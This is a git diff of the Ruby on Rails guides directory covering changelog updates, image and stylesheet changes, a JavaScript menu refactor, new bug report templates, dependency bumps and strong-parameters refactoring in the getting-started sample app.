diff options
Diffstat (limited to 'guides')
110 files changed, 5743 insertions, 2573 deletions
diff --git a/guides/CHANGELOG.md b/guides/CHANGELOG.md index b0e52847e1..4cfc5b1f10 100644 --- a/guides/CHANGELOG.md +++ b/guides/CHANGELOG.md @@ -1,12 +1,13 @@ -## Rails 4.0.0 (unreleased) ## -* Change Service pages(404, etc). *Stanislav Sobolev* +* Fixed missing line and shadow on service pages(404, 422, 500). -## Rails 4.0.0.beta1 (unreleased) ## + *Dmitry Korotkov* -* Split Validations and Callbacks guide into two. *Steve Klabnik* +* Removed repetitive th tags. Instead of them added one th tag with a colspan attribute. -* New guide _Working with JavaScript in Rails_. *Steve Klabnik* + *Sıtkı Bağdat* -* Guides updated to reflect new test locations. *Mike Moore* +* Added the Rails maintenance policy to the guides. -* Guides have a responsive design. *Joe Fiorini* + *Matias Korhonen* + +Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/guides/CHANGELOG.md) for previous changes. diff --git a/guides/assets/images/akshaysurve.jpg b/guides/assets/images/akshaysurve.jpg Binary files differnew file mode 100644 index 0000000000..cfc3333958 --- /dev/null +++ b/guides/assets/images/akshaysurve.jpg diff --git a/guides/assets/images/challenge.png b/guides/assets/images/challenge.png Binary files differdeleted file mode 100644 index 30be3d7028..0000000000 --- a/guides/assets/images/challenge.png +++ /dev/null diff --git a/guides/assets/images/edge_badge.png b/guides/assets/images/edge_badge.png Binary files differindex a35dc9f8ee..a3c1843d1d 100644 --- a/guides/assets/images/edge_badge.png +++ b/guides/assets/images/edge_badge.png diff --git a/guides/assets/images/feature_tile.gif b/guides/assets/images/feature_tile.gif Binary files differindex 75469361db..5268ef8373 100644 --- a/guides/assets/images/feature_tile.gif +++ b/guides/assets/images/feature_tile.gif diff --git a/guides/assets/images/footer_tile.gif b/guides/assets/images/footer_tile.gif Binary files differindex bb33fc1ff0..3fe21a8275 100644 --- a/guides/assets/images/footer_tile.gif +++ b/guides/assets/images/footer_tile.gif diff --git a/guides/assets/images/fxn.png b/guides/assets/images/fxn.png Binary files differindex 9b531ee584..733d380cba 100644 --- a/guides/assets/images/fxn.png +++ b/guides/assets/images/fxn.png diff --git a/guides/assets/images/getting_started/challenge.png b/guides/assets/images/getting_started/challenge.png Binary files differnew file mode 100644 index 0000000000..4a30e49e6d --- /dev/null +++ b/guides/assets/images/getting_started/challenge.png diff --git a/guides/assets/images/getting_started/forbidden_attributes_for_new_post.png b/guides/assets/images/getting_started/forbidden_attributes_for_new_post.png Binary files differindex 500dfc2c02..6c78e52173 100644 --- a/guides/assets/images/getting_started/forbidden_attributes_for_new_post.png +++ b/guides/assets/images/getting_started/forbidden_attributes_for_new_post.png diff --git a/guides/assets/images/getting_started/new_post.png b/guides/assets/images/getting_started/new_post.png Binary files differindex b573cb164c..b20b0192d4 100644 --- a/guides/assets/images/getting_started/new_post.png +++ b/guides/assets/images/getting_started/new_post.png diff --git a/guides/assets/images/getting_started/rails_welcome.png b/guides/assets/images/getting_started/rails_welcome.png Binary files differnew file mode 100644 index 0000000000..569dd846a8 --- /dev/null +++ b/guides/assets/images/getting_started/rails_welcome.png diff --git a/guides/assets/images/getting_started/routing_error_no_controller.png b/guides/assets/images/getting_started/routing_error_no_controller.png Binary files differindex 43ccd25252..35ee4f348f 100644 --- a/guides/assets/images/getting_started/routing_error_no_controller.png +++ b/guides/assets/images/getting_started/routing_error_no_controller.png diff --git a/guides/assets/images/getting_started/routing_error_no_route_matches.png b/guides/assets/images/getting_started/routing_error_no_route_matches.png Binary files differindex 1b8c0ea57e..1cbddfa0f1 100644 --- a/guides/assets/images/getting_started/routing_error_no_route_matches.png +++ b/guides/assets/images/getting_started/routing_error_no_route_matches.png diff --git a/guides/assets/images/getting_started/template_is_missing_posts_new.png b/guides/assets/images/getting_started/template_is_missing_posts_new.png Binary files differindex 75980432b2..f03db05fb8 100644 --- a/guides/assets/images/getting_started/template_is_missing_posts_new.png +++ b/guides/assets/images/getting_started/template_is_missing_posts_new.png diff --git a/guides/assets/images/getting_started/unknown_action_create_for_posts.png b/guides/assets/images/getting_started/unknown_action_create_for_posts.png Binary files differindex c0de53555d..8fdd4c574a 100644 --- a/guides/assets/images/getting_started/unknown_action_create_for_posts.png +++ b/guides/assets/images/getting_started/unknown_action_create_for_posts.png diff --git a/guides/assets/images/getting_started/unknown_action_new_for_posts.png b/guides/assets/images/getting_started/unknown_action_new_for_posts.png Binary files differindex f4b3eff9dc..7e72feee38 100644 --- a/guides/assets/images/getting_started/unknown_action_new_for_posts.png +++ b/guides/assets/images/getting_started/unknown_action_new_for_posts.png diff --git a/guides/assets/images/header_tile.gif b/guides/assets/images/header_tile.gif Binary files differindex e2c878d492..6b1af15eab 100644 --- a/guides/assets/images/header_tile.gif +++ b/guides/assets/images/header_tile.gif diff --git a/guides/assets/images/icons/README b/guides/assets/images/icons/README index f12b2a730c..09da77fc86 100644 --- a/guides/assets/images/icons/README +++ b/guides/assets/images/icons/README @@ -1,5 +1,5 @@ Replaced the plain DocBook XSL admonition icons with Jimmac's DocBook icons (http://jimmac.musichall.cz/ikony.php3). I dropped transparency -from the Jimmac icons to get round MS IE and FOP PNG incompatibilies. +from the Jimmac icons to get round MS IE and FOP PNG incompatibilities. Stuart Rackham diff --git a/guides/assets/images/icons/callouts/11.png b/guides/assets/images/icons/callouts/11.png Binary files differindex 9244a1ac4b..3b7b9318e7 100644 --- a/guides/assets/images/icons/callouts/11.png +++ b/guides/assets/images/icons/callouts/11.png diff --git a/guides/assets/images/icons/callouts/12.png b/guides/assets/images/icons/callouts/12.png Binary files differindex ae56459f4c..7b95925e9d 100644 --- a/guides/assets/images/icons/callouts/12.png +++ b/guides/assets/images/icons/callouts/12.png diff --git a/guides/assets/images/icons/callouts/13.png b/guides/assets/images/icons/callouts/13.png Binary files differindex 1181f9f892..4b99fe8efc 100644 --- a/guides/assets/images/icons/callouts/13.png +++ b/guides/assets/images/icons/callouts/13.png diff --git a/guides/assets/images/icons/callouts/15.png b/guides/assets/images/icons/callouts/15.png Binary files differindex 39304de94f..70e4bba615 100644 --- a/guides/assets/images/icons/callouts/15.png +++ b/guides/assets/images/icons/callouts/15.png diff --git a/guides/assets/images/icons/caution.png b/guides/assets/images/icons/caution.png Binary files differindex 031e19c776..7227b54b32 100644 --- a/guides/assets/images/icons/caution.png +++ b/guides/assets/images/icons/caution.png diff --git a/guides/assets/images/icons/example.png b/guides/assets/images/icons/example.png Binary files differindex 1b0e482059..de23c0aa87 100644 --- a/guides/assets/images/icons/example.png +++ b/guides/assets/images/icons/example.png diff --git a/guides/assets/images/jaimeiniesta.jpg b/guides/assets/images/jaimeiniesta.jpg Binary files differdeleted file mode 100644 index 445f048d92..0000000000 --- a/guides/assets/images/jaimeiniesta.jpg +++ /dev/null diff --git a/guides/assets/images/radar.png b/guides/assets/images/radar.png Binary files differindex f61e08763f..421b62b623 100644 --- a/guides/assets/images/radar.png +++ b/guides/assets/images/radar.png diff --git a/guides/assets/images/rails4_features.png b/guides/assets/images/rails4_features.png Binary files differindex a979f02207..b3bd5ef69e 100644 --- a/guides/assets/images/rails4_features.png +++ b/guides/assets/images/rails4_features.png diff --git a/guides/assets/images/rails_guides_kindle_cover.jpg b/guides/assets/images/rails_guides_kindle_cover.jpg Binary files differindex 9eb16720a9..f068bd9a04 100644 --- a/guides/assets/images/rails_guides_kindle_cover.jpg +++ b/guides/assets/images/rails_guides_kindle_cover.jpg diff --git a/guides/assets/images/rails_welcome.png b/guides/assets/images/rails_welcome.png Binary files differdeleted file mode 100644 index 8ad2d351de..0000000000 --- a/guides/assets/images/rails_welcome.png +++ /dev/null diff --git a/guides/assets/images/vijaydev.jpg b/guides/assets/images/vijaydev.jpg Binary files differindex e21d3cabfc..fe5e4f1cb4 100644 --- a/guides/assets/images/vijaydev.jpg +++ b/guides/assets/images/vijaydev.jpg diff --git a/guides/assets/javascripts/guides.js b/guides/assets/javascripts/guides.js index 7e494fb6d8..e4d25dfb21 100644 --- a/guides/assets/javascripts/guides.js +++ b/guides/assets/javascripts/guides.js @@ -1,57 +1,53 @@ -function guideMenu(){ - if (document.getElementById('guides').style.display == "none") { - document.getElementById('guides').style.display = "block"; - } else { - document.getElementById('guides').style.display = "none"; - } -} - -$.fn.selectGuide = function(guide){ +$.fn.selectGuide = function(guide) { $("select", this).val(guide); -} +}; -guidesIndex = { - bind: function(){ +var guidesIndex = { + bind: function() { var currentGuidePath = window.location.pathname; var currentGuide = currentGuidePath.substring(currentGuidePath.lastIndexOf("/")+1); $(".guides-index-small"). on("change", "select", guidesIndex.navigate). selectGuide(currentGuide); - $(".more-info-button:visible").click(function(e){ + $(document).on("click", ".more-info-button", function(e){ e.stopPropagation(); - if($(".more-info-links").is(":visible")){ + if ($(".more-info-links").is(":visible")) { $(".more-info-links").addClass("s-hidden").unwrap(); } else { $(".more-info-links").wrap("<div class='more-info-container'></div>").removeClass("s-hidden"); } - $(document).on("click", function(e){ - var $button = $(".more-info-button"); - var element; + }); + $("#guidesMenu").on("click", function(e) { + $("#guides").toggle(); + return false; + }); + $(document).on("click", function(e){ + e.stopPropagation(); + var $button = $(".more-info-button"); + var element; - // Cross browser find the element that had the event - if (e.target) element = e.target; - else if (e.srcElement) element = e.srcElement; + // Cross browser find the element that had the event + if (e.target) element = e.target; + else if (e.srcElement) element = e.srcElement; - // Defeat the older Safari bug: - // http://www.quirksmode.org/js/events_properties.html - if (element.nodeType == 3) element = element.parentNode; + // Defeat the older Safari bug: + // http://www.quirksmode.org/js/events_properties.html + if (element.nodeType === 3) element = element.parentNode; - var $element = $(element); + var $element = $(element); - var $container = $element.parents(".more-info-container"); + var $container = $element.parents(".more-info-container"); - // We've captured a click outside the popup - if($container.length == 0){ - $container = $button.next(".more-info-container"); - $container.find(".more-info-links").addClass("s-hidden").unwrap(); - $(document).off("click"); - } - }); + // We've captured a click outside the popup + if($container.length === 0){ + $container = $button.next(".more-info-container"); + $container.find(".more-info-links").addClass("s-hidden").unwrap(); + } }); }, navigate: function(e){ var $list = $(e.target); - url = $list.val(); + var url = $list.val(); window.location = url; } -} +}; diff --git a/guides/assets/stylesheets/main.css b/guides/assets/stylesheets/main.css index dd029e6314..898f9ff05b 100644 --- a/guides/assets/stylesheets/main.css +++ b/guides/assets/stylesheets/main.css @@ -129,6 +129,7 @@ body { font-family: Helvetica, Arial, Sans-Serif; text-decoration: none; vertical-align: middle; + cursor: pointer; } .red-button:active { border-top: none; @@ -244,7 +245,7 @@ body { #subCol { position: absolute; z-index: 0; - top: 0; + top: 21px; right: 0; background: #FFF; padding: 1em 1.5em 1em 1.25em; diff --git a/guides/assets/stylesheets/print.css b/guides/assets/stylesheets/print.css index 628da105d4..bdc8ec948d 100644 --- a/guides/assets/stylesheets/print.css +++ b/guides/assets/stylesheets/print.css @@ -36,7 +36,7 @@ hr { } h1,h2,h3,h4,h5,h6 { font-family: "Helvetica Neue", Arial, "Lucida Grande", sans-serif; } -code { font:.9em "Courier New", Monaco, Courier, monospace; } +code { font:.9em "Courier New", Monaco, Courier, monospace; display:inline} img { float:left; margin:1.5em 1.5em 1.5em 0; } a img { border:none; } diff --git a/guides/bug_report_templates/action_controller_gem.rb b/guides/bug_report_templates/action_controller_gem.rb new file mode 100644 index 0000000000..9387e3dc1d --- /dev/null +++ b/guides/bug_report_templates/action_controller_gem.rb @@ -0,0 +1,47 @@ +# Activate the gem you are reporting the issue against. +gem 'rails', '4.0.0' + +require 'rails' +require 'action_controller/railtie' + +class TestApp < Rails::Application + config.root = File.dirname(__FILE__) + config.session_store :cookie_store, key: 'cookie_store_key' + config.secret_token = 'secret_token' + config.secret_key_base = 'secret_key_base' + + config.logger = Logger.new($stdout) + Rails.logger = config.logger + + routes.draw do + get '/' => 'test#index' + end +end + +class TestController < ActionController::Base + include Rails.application.routes.url_helpers + + def index + render text: 'Home' + end +end + +require 'minitest/autorun' +require 'rack/test' + +# Ensure backward compatibility with Minitest 4 +Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test) + +class BugTest < Minitest::Test + include Rack::Test::Methods + + def test_returns_success + get '/' + assert last_response.ok? + end + + private + def app + Rails.application + end +end diff --git a/guides/bug_report_templates/action_controller_master.rb b/guides/bug_report_templates/action_controller_master.rb new file mode 100644 index 0000000000..d44fd9196a --- /dev/null +++ b/guides/bug_report_templates/action_controller_master.rb @@ -0,0 +1,53 @@ +unless File.exist?('Gemfile') + File.write('Gemfile', <<-GEMFILE) + source 'https://rubygems.org' + gem 'rails', github: 'rails/rails' + GEMFILE + + system 'bundle' +end + +require 'bundler' +Bundler.setup(:default) + +require 'rails' +require 'action_controller/railtie' + +class TestApp < Rails::Application + config.root = File.dirname(__FILE__) + config.session_store :cookie_store, key: 'cookie_store_key' + config.secret_token = 'secret_token' + config.secret_key_base = 'secret_key_base' + + config.logger = Logger.new($stdout) + Rails.logger = config.logger + + routes.draw do + get '/' => 'test#index' + end +end + +class TestController < ActionController::Base + include Rails.application.routes.url_helpers + + def index + render text: 'Home' + end +end + +require 'minitest/autorun' +require 'rack/test' + +class BugTest < Minitest::Test + include Rack::Test::Methods + + def test_returns_success + get '/' + assert last_response.ok? + end + + private + def app + Rails.application + end +end diff --git a/guides/bug_report_templates/active_record_gem.rb b/guides/bug_report_templates/active_record_gem.rb index 2c63342572..d72633d0b2 100644 --- a/guides/bug_report_templates/active_record_gem.rb +++ b/guides/bug_report_templates/active_record_gem.rb @@ -1,9 +1,12 @@ # Activate the gem you are reporting the issue against. -gem 'activerecord', '3.2.11' +gem 'activerecord', '4.0.0' require 'active_record' require 'minitest/autorun' require 'logger' +# Ensure backward compatibility with Minitest 4 +Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test) + # This connection will do for database-independent bug reports. ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: ':memory:') ActiveRecord::Base.logger = Logger.new(STDOUT) @@ -25,7 +28,7 @@ class Comment < ActiveRecord::Base belongs_to :post end -class BugTest < MiniTest::Unit::TestCase +class BugTest < Minitest::Test def test_association_stuff post = Post.create! post.comments << Comment.create! diff --git a/guides/bug_report_templates/active_record_master.rb b/guides/bug_report_templates/active_record_master.rb index 68069cdd8d..d95354e12d 100644 --- a/guides/bug_report_templates/active_record_master.rb +++ b/guides/bug_report_templates/active_record_master.rb @@ -1,7 +1,8 @@ -unless File.exists?('Gemfile') +unless File.exist?('Gemfile') File.write('Gemfile', <<-GEMFILE) source 'https://rubygems.org' gem 'rails', github: 'rails/rails' + gem 'arel', github: 'rails/arel' gem 'sqlite3' GEMFILE @@ -36,7 +37,7 @@ class Comment < ActiveRecord::Base belongs_to :post end -class BugTest < MiniTest::Unit::TestCase +class BugTest < Minitest::Test def test_association_stuff post = Post.create! post.comments << Comment.create! diff --git a/guides/code/getting_started/.gitignore b/guides/code/getting_started/.gitignore index 25a742dff0..6a502e997f 100644 --- a/guides/code/getting_started/.gitignore +++ b/guides/code/getting_started/.gitignore @@ -1,4 +1,4 @@ -# See http://help.github.com/ignore-files/ for more about ignoring files. +# See https://help.github.com/articles/ignoring-files for more about ignoring files. # # If you find yourself ignoring temporary files generated by your text editor # or operating system, you probably want to add a global ignore instead: diff --git a/guides/code/getting_started/Gemfile b/guides/code/getting_started/Gemfile index f06fc65de6..d573488bdb 100644 --- a/guides/code/getting_started/Gemfile +++ b/guides/code/getting_started/Gemfile @@ -2,6 +2,7 @@ source 'https://rubygems.org' gem 'rails', '4.0.0' +# Use sqlite3 as the database for Active Record gem 'sqlite3' # Use SCSS for stylesheets @@ -27,10 +28,10 @@ group :doc do end # Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder -gem 'jbuilder', '~> 1.2' +gem 'jbuilder', '~> 2.0' # To use ActiveModel has_secure_password -# gem 'bcrypt-ruby', '~> 3.0.0' +# gem 'bcrypt-ruby', '~> 3.1.2' # Use unicorn as the app server # gem 'unicorn' diff --git a/guides/code/getting_started/Gemfile.lock b/guides/code/getting_started/Gemfile.lock index 823fac5ff7..1c30ac5d75 100644 --- a/guides/code/getting_started/Gemfile.lock +++ b/guides/code/getting_started/Gemfile.lock @@ -1,135 +1,107 @@ -GIT - remote: git://github.com/rails/activerecord-deprecated_finders.git - revision: 2e7b35d7948cefb2bba96438873d7f7bb1961a03 - specs: - activerecord-deprecated_finders (0.0.2) - -GIT - remote: git://github.com/rails/arel.git - revision: 38d0a222e275d917a2c1d093b24457bafb600a00 - specs: - arel (3.0.2.20120819075748) - -GIT - remote: git://github.com/rails/coffee-rails.git - revision: 052634e6d02d4800d7b021201cc8d5829775b3cd - specs: - coffee-rails (4.0.0.beta) - coffee-script (>= 2.2.0) - railties (>= 4.0.0.beta, < 5.0) - -GIT - remote: git://github.com/rails/sass-rails.git - revision: ae8138a89cac397c0df903dd533e2862902ce8f5 - specs: - sass-rails (4.0.0.beta) - railties (>= 4.0.0.beta, < 5.0) - sass (>= 3.1.10) - sprockets-rails (~> 2.0.0.rc0) - tilt (~> 1.3) - -GIT - remote: git://github.com/rails/sprockets-rails.git - revision: 09917104fdb42245fe369612a7b0e3d77e1ba763 - specs: - sprockets-rails (2.0.0.rc1) - actionpack (>= 3.0) - activesupport (>= 3.0) - sprockets (~> 2.8) - -PATH - remote: /Users/steve/src/rails +GEM + remote: https://rubygems.org/ specs: - actionmailer (4.0.0.beta) - actionpack (= 4.0.0.beta) + actionmailer (4.0.0) + actionpack (= 4.0.0) mail (~> 2.5.3) - actionpack (4.0.0.beta) - activesupport (= 4.0.0.beta) + actionpack (4.0.0) + activesupport (= 4.0.0) builder (~> 3.1.0) erubis (~> 2.7.0) - rack (~> 1.4.3) - rack-test (~> 0.6.1) - activemodel (4.0.0.beta) - activesupport (= 4.0.0.beta) + rack (~> 1.5.2) + rack-test (~> 0.6.2) + activemodel (4.0.0) + activesupport (= 4.0.0) builder (~> 3.1.0) - activerecord (4.0.0.beta) - activemodel (= 4.0.0.beta) - activerecord-deprecated_finders (= 0.0.2) - activesupport (= 4.0.0.beta) - arel (~> 3.0.2) - activesupport (4.0.0.beta) - i18n (~> 0.6) - minitest (~> 4.1) + activerecord (4.0.0) + activemodel (= 4.0.0) + activerecord-deprecated_finders (~> 1.0.2) + activesupport (= 4.0.0) + arel (~> 4.0.0) + activerecord-deprecated_finders (1.0.3) + activesupport (4.0.0) + i18n (~> 0.6, >= 0.6.4) + minitest (~> 4.2) multi_json (~> 1.3) thread_safe (~> 0.1) - tzinfo (~> 0.3.33) - rails (4.0.0.beta) - actionmailer (= 4.0.0.beta) - actionpack (= 4.0.0.beta) - activerecord (= 4.0.0.beta) - activesupport (= 4.0.0.beta) - bundler (>= 1.2.2, < 2.0) - railties (= 4.0.0.beta) - sprockets-rails (~> 2.0.0.rc1) - railties (4.0.0.beta) - actionpack (= 4.0.0.beta) - activesupport (= 4.0.0.beta) - rake (>= 0.8.7) - rdoc (~> 3.4) - thor (>= 0.15.4, < 2.0) - -GEM - remote: https://rubygems.org/ - specs: - atomic (1.0.1) + tzinfo (~> 0.3.37) + arel (4.0.0) + atomic (1.1.10) builder (3.1.4) + coffee-rails (4.0.0) + coffee-script (>= 2.2.0) + railties (>= 4.0.0.beta, < 5.0) coffee-script (2.2.0) coffee-script-source execjs - coffee-script-source (1.4.0) + coffee-script-source (1.6.3) erubis (2.7.0) execjs (1.4.0) multi_json (~> 1.0) - hike (1.2.1) - i18n (0.6.1) - jbuilder (1.0.2) + hike (1.2.3) + i18n (0.6.4) + jbuilder (2.0.0) activesupport (>= 3.0.0) - jquery-rails (2.2.0) + multi_json (>= 1.2.0) + jquery-rails (3.0.2) railties (>= 3.0, < 5.0) thor (>= 0.14, < 2.0) - json (1.7.6) - mail (2.5.3) - i18n (>= 0.4.0) + json (1.8.0) + mail (2.5.4) mime-types (~> 1.16) treetop (~> 1.4.8) - mime-types (1.19) - minitest (4.4.0) - multi_json (1.5.0) + mime-types (1.23) + minitest (4.7.5) + multi_json (1.7.7) polyglot (0.3.3) - rack (1.4.4) + rack (1.5.2) rack-test (0.6.2) rack (>= 1.0) - rake (10.0.3) - rdoc (3.12) + rails (4.0.0) + actionmailer (= 4.0.0) + actionpack (= 4.0.0) + activerecord (= 4.0.0) + activesupport (= 4.0.0) + bundler (>= 1.3.0, < 2.0) + railties (= 4.0.0) + sprockets-rails (~> 2.0.0) + railties (4.0.0) + actionpack (= 4.0.0) + activesupport (= 4.0.0) + rake (>= 0.8.7) + thor (>= 0.18.1, < 2.0) + rake (10.1.0) + rdoc (3.12.2) json (~> 1.4) - sass (3.2.5) - sprockets (2.8.2) + sass (3.2.9) + sass-rails (4.0.0) + railties (>= 4.0.0.beta, < 5.0) + sass (>= 3.1.10) + sprockets-rails (~> 2.0.0) + sdoc (0.3.20) + json (>= 1.1.3) + rdoc (~> 3.10) + sprockets (2.10.0) hike (~> 1.2) multi_json (~> 1.0) rack (~> 1.0) tilt (~> 1.1, != 1.3.0) + sprockets-rails (2.0.0) + actionpack (>= 3.0) + activesupport (>= 3.0) + sprockets (~> 2.8) sqlite3 (1.3.7) - thor (0.16.0) + thor (0.18.1) thread_safe (0.1.0) atomic - tilt (1.3.3) - treetop (1.4.12) + tilt (1.4.1) + treetop (1.4.14) polyglot polyglot (>= 0.3.1) - turbolinks (1.0.0) + turbolinks (1.2.0) coffee-rails - tzinfo (0.3.35) - uglifier (1.3.0) + tzinfo (0.3.37) + uglifier (2.1.1) execjs (>= 0.3.0) multi_json (~> 1.0, >= 1.0.2) @@ -137,14 +109,12 @@ PLATFORMS ruby DEPENDENCIES - activerecord-deprecated_finders! - arel! - coffee-rails! - jbuilder (~> 1.0.1) + coffee-rails + jbuilder (~> 2.0) jquery-rails - rails! - sass-rails! - sprockets-rails! + rails (= 4.0.0) + sass-rails + sdoc sqlite3 turbolinks uglifier (>= 1.0.3) diff --git a/guides/code/getting_started/app/assets/javascripts/application.js b/guides/code/getting_started/app/assets/javascripts/application.js index 9e83eb5e7e..5a4fbaa370 100644 --- a/guides/code/getting_started/app/assets/javascripts/application.js +++ b/guides/code/getting_started/app/assets/javascripts/application.js @@ -7,8 +7,7 @@ // It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the // compiled file. // -// WARNING: THE FIRST BLANK LINE MARKS THE END OF WHAT'S TO BE PROCESSED, ANY BLANK LINE SHOULD -// GO AFTER THE REQUIRES BELOW. +// stub path allows dependency to be excluded from the asset bundle. // //= require jquery //= require jquery_ujs diff --git a/guides/code/getting_started/app/controllers/comments_controller.rb b/guides/code/getting_started/app/controllers/comments_controller.rb index 0e3d2a6dde..b2d9bcdf7f 100644 --- a/guides/code/getting_started/app/controllers/comments_controller.rb +++ b/guides/code/getting_started/app/controllers/comments_controller.rb @@ -4,7 +4,7 @@ class CommentsController < ApplicationController def create @post = Post.find(params[:post_id]) - @comment = @post.comments.create(params[:comment].permit(:commenter, :body)) + @comment = @post.comments.create(comment_params) redirect_to post_path(@post) end @@ -14,4 +14,10 @@ class CommentsController < ApplicationController @comment.destroy redirect_to post_path(@post) end + + private + + def comment_params + params.require(:comment).permit(:commenter, :body) + end end diff --git a/guides/code/getting_started/app/controllers/posts_controller.rb b/guides/code/getting_started/app/controllers/posts_controller.rb index 6aa1409170..02689ad67b 100644 --- a/guides/code/getting_started/app/controllers/posts_controller.rb +++ b/guides/code/getting_started/app/controllers/posts_controller.rb @@ -17,7 +17,7 @@ class PostsController < ApplicationController def update @post = Post.find(params[:id]) - if @post.update(params[:post].permit(:title, :text)) + if @post.update(post_params) redirect_to action: :show, id: @post.id else render 'edit' @@ -29,7 +29,7 @@ class PostsController < ApplicationController end def create - @post = Post.new(params[:post].permit(:title, :text)) + @post = Post.new(post_params) if @post.save redirect_to action: :show, id: @post.id @@ -44,4 +44,10 @@ class PostsController < ApplicationController redirect_to action: :index end + + private + + def post_params + params.require(:post).permit(:title, :text) + end end diff --git a/guides/code/getting_started/app/views/posts/_form.html.erb b/guides/code/getting_started/app/views/posts/_form.html.erb index c9fb74af9c..f2f83585e1 100644 --- a/guides/code/getting_started/app/views/posts/_form.html.erb +++ b/guides/code/getting_started/app/views/posts/_form.html.erb @@ -1,6 +1,6 @@ <%= form_for @post do |f| %> <% if @post.errors.any? %> - <div id="errorExplanation"> + <div id="error_explanation"> <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2> <ul> @@ -14,12 +14,12 @@ <%= f.label :title %><br> <%= f.text_field :title %> </p> - + <p> <%= f.label :text %><br> <%= f.text_area :text %> </p> - + <p> <%= f.submit %> </p> diff --git a/guides/code/getting_started/app/views/welcome/index.html.erb b/guides/code/getting_started/app/views/welcome/index.html.erb index 738e12d7dc..56be8dd3cc 100644 --- a/guides/code/getting_started/app/views/welcome/index.html.erb +++ b/guides/code/getting_started/app/views/welcome/index.html.erb @@ -1,3 +1,4 @@ <h1>Hello, Rails!</h1> <%= link_to "My Blog", controller: "posts" %> +<%= link_to "New Post", new_post_path %> diff --git a/guides/code/getting_started/config/boot.rb b/guides/code/getting_started/config/boot.rb index 3596736667..5e5f0c1fac 100644 --- a/guides/code/getting_started/config/boot.rb +++ b/guides/code/getting_started/config/boot.rb @@ -1,4 +1,4 @@ # Set up gems listed in the Gemfile. ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) -require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE']) +require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE']) diff --git a/guides/code/getting_started/config/environment.rb b/guides/code/getting_started/config/environment.rb index 2d65111004..e7e341c960 100644 --- a/guides/code/getting_started/config/environment.rb +++ b/guides/code/getting_started/config/environment.rb @@ -1,5 +1,5 @@ -# Load the rails application. +# Load the Rails application. require File.expand_path('../application', __FILE__) -# Initialize the rails application. +# Initialize the Rails application. Blog::Application.initialize! diff --git a/guides/code/getting_started/config/environments/development.rb b/guides/code/getting_started/config/environments/development.rb index d169e9452c..7e5692b08b 100644 --- a/guides/code/getting_started/config/environments/development.rb +++ b/guides/code/getting_started/config/environments/development.rb @@ -22,7 +22,7 @@ Blog::Application.configure do # Only use best-standards-support built into browsers. config.action_dispatch.best_standards_support = :builtin - # Raise an error on page load if there are pending migrations + # Raise an error on page load if there are pending migrations. config.active_record.migration_error = :page_load # Debug mode disables concatenation and preprocessing of assets. diff --git a/guides/code/getting_started/public/404.html b/guides/code/getting_started/public/404.html index 3d287b135d..3265cc8e33 100644 --- a/guides/code/getting_started/public/404.html +++ b/guides/code/getting_started/public/404.html @@ -22,6 +22,7 @@ border-top-right-radius: 9px; background-color: white; padding: 7px 4em 0 4em; + box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17); } h1 { @@ -37,6 +38,7 @@ background-color: #F7F7F7; border: 1px solid #CCC; border-right-color: #999; + border-left-color: #999; border-bottom-color: #999; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; diff --git a/guides/code/getting_started/public/422.html b/guides/code/getting_started/public/422.html index 3b946bf4a4..d823a8fc77 100644 --- a/guides/code/getting_started/public/422.html +++ b/guides/code/getting_started/public/422.html @@ -22,6 +22,7 @@ border-top-right-radius: 9px; background-color: white; padding: 7px 4em 0 4em; + box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17); } h1 { @@ -37,6 +38,7 @@ background-color: #F7F7F7; border: 1px solid #CCC; border-right-color: #999; + border-left-color: #999; border-bottom-color: #999; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; diff --git a/guides/code/getting_started/public/500.html b/guides/code/getting_started/public/500.html index ccc4ad5656..ebf6d4c00c 100644 --- a/guides/code/getting_started/public/500.html +++ b/guides/code/getting_started/public/500.html @@ -22,6 +22,7 @@ border-top-right-radius: 9px; background-color: white; padding: 7px 4em 0 4em; + box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17); } h1 { @@ -37,6 +38,7 @@ background-color: #F7F7F7; border: 1px solid #CCC; border-right-color: #999; + border-left-color: #999; border-bottom-color: #999; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; diff --git a/guides/code/getting_started/public/robots.txt b/guides/code/getting_started/public/robots.txt index 1a3a5e4dd2..3c9c7c01f3 100644 --- a/guides/code/getting_started/public/robots.txt +++ b/guides/code/getting_started/public/robots.txt @@ -1,4 +1,4 @@ -# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file +# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file # # To ban all spiders from the entire site uncomment the next two lines: # User-agent: * diff --git a/guides/code/getting_started/test/fixtures/comments.yml b/guides/code/getting_started/test/fixtures/comments.yml index 0cd36069e4..9e409d8a61 100644 --- a/guides/code/getting_started/test/fixtures/comments.yml +++ b/guides/code/getting_started/test/fixtures/comments.yml @@ -1,4 +1,4 @@ -# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html +# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html one: commenter: MyString diff --git a/guides/code/getting_started/test/fixtures/posts.yml b/guides/code/getting_started/test/fixtures/posts.yml index 617a24b858..46b01c3bb4 100644 --- a/guides/code/getting_started/test/fixtures/posts.yml +++ b/guides/code/getting_started/test/fixtures/posts.yml @@ -1,4 +1,4 @@ -# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html +# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html one: title: MyString diff --git a/guides/rails_guides.rb b/guides/rails_guides.rb index ab890f202c..9d488a8a15 100644 --- a/guides/rails_guides.rb +++ b/guides/rails_guides.rb @@ -5,7 +5,7 @@ $:.unshift pwd def bundler? # Note that rake sets the cwd to the one that contains the Rakefile # being executed. - File.exists?('Gemfile') + File.exist?('Gemfile') end begin @@ -22,7 +22,7 @@ end 